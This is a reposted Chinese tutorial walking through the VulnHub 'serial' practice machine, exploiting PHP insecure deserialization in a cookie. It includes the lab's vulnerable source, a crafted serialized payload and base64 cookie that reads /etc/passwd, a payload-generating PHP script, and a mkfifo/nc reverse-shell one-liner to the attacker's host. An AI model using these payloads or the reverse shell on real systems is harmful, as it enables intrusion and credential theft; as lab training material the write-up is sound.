反序列化靶机实战serial(保姆级教程)
一.信息收集
靶机地址下载:https://download.vulnhub.com/serial/serial.zip
打开靶机,在kali虚拟机中进行主机存活探测
可以知道靶机ip地址为192.168.133.171
然后扫描端口 可以发现有一个22端口跟80端口
然后接下来用kali扫描它的目录
可以发现有一个可访问的目录 我们去访问一下
访问之后backup目录下有一个bak.zip 下载下来
下载下来之后有三个文件 分析一下
index.php
<?php
include("user.class.php");if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
log.class.php
<?php
class Log {
private $type_log;function __costruct($hnd) {
$this->$type_log = $hnd;
}public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
user.class.php
<?php
include("log.class.php");class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}class User {
private $name;
private $wel;function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}?>
提示cookie,burpsuite抓包看一下cookie
cookie那里有一串base64加密的 解密一下
base64解码得到序列化后字段是
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}
然后我们构造payload 读取/etc/passwd文件
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')
base64编码
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=
然后再次抓包 打开用burp的repeater
将加密后的替换一下 就可以看到 然后成功包含 看到有一个sk4用户可登陆
get shell
构造序列化语句上传shell
生成一个shell放在本地网站下
然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马
<?php
class Log {
private $type_log = "/etc/passwd";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码
然后去抓包 把访问7.php得到的base64编码 替换cookie
成功执行
开始反弹shell
rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f
将上述代码url编码后填入参数位置
然后在kali里开启监听监听成功
在攻击模块发送 成功获取shell
查看文件,多返回几次上级目录,找到一个txt文件
查看文件得到他的账号跟密码
最后在远程连接 成功进入
原文地址:https://blog.csdn.net/2201_75891821/article/details/140853004
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!